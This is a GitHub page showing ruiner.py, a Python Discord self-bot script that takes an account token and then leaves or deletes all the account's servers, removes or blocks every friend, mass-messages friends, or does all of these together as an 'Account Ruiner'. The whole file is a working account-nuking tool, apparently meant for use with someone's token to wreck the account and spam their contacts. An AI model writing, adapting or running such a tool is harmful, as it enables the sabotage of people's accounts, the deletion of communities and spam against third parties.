-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathruiner.py
91 lines (78 loc) · 2.45 KB
/
ruiner.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
import discord
c = discord.Client()
@c.event
async def on_ready():
if options == "1":
await server_leaver()
elif options == "2":
await remove_friends()
elif options == "3":
await block_friends()
elif options == "4":
await dm_friends()
elif options == "5":
await ruiner()
else:
print("That's not one of valid options.")
print("i'm ready")
print("Please enter token:")
token = input()
print("""
1 - Server Leaver
2 - Friend Remover
3 - Friend Blocker
4 - Mass friend DM-er
5 - Account Ruiner
""")
options = input()
async def server_leaver():
for i in range(0, len(c.guilds), 10):
guilds = c.guilds[i:i + 10]
for guild in guilds:
gid = c.get_guild(guild.id)
try:
await gid.leave()
print(f"i left {guild}")
except:
await gid.delete()
print(f"i deleted {guild}")
async def remove_friends():
for friend in c.user.friends:
await friend.remove_friend()
print(f"removed {friend.name}#{friend.discriminator} from friend list")
async def block_friends():
for friend in c.user.friends:
try:
await friend.block()
print(f"i blocked {friend.name}#{friend.discriminator}")
except:
print("Something went wrong... Assuming it was account verification.")
break
async def dm_friends():
for friend in c.user.friends:
print("Please input your message:")
message = input()
try:
friend.send(message)
print(f"Successfully DM-ed {friend.name}#{friend.discriminator}")
except:
print(f"Something went wrong while trying to DM {friend.name}#{friend.discriminator}")
async def ruiner():
print("Please input message you want to be broadcasted to everyone:")
message = input()
print("[+] Leaving and deleting servers...")
for i in range(0, len(c.guilds), 10):
guilds = c.guilds[i:i + 10]
for guild in guilds:
gid = c.get_guild(guild.id)
try:
await gid.leave()
print(f"i left {guild}")
except:
await gid.delete()
print(f"i deleted {guild}")
print("[+] Sending message and removing friends...")
for friend in c.user.friends:
await friend.send(message)
await friend.remove_friend()
c.run(token, bot=False)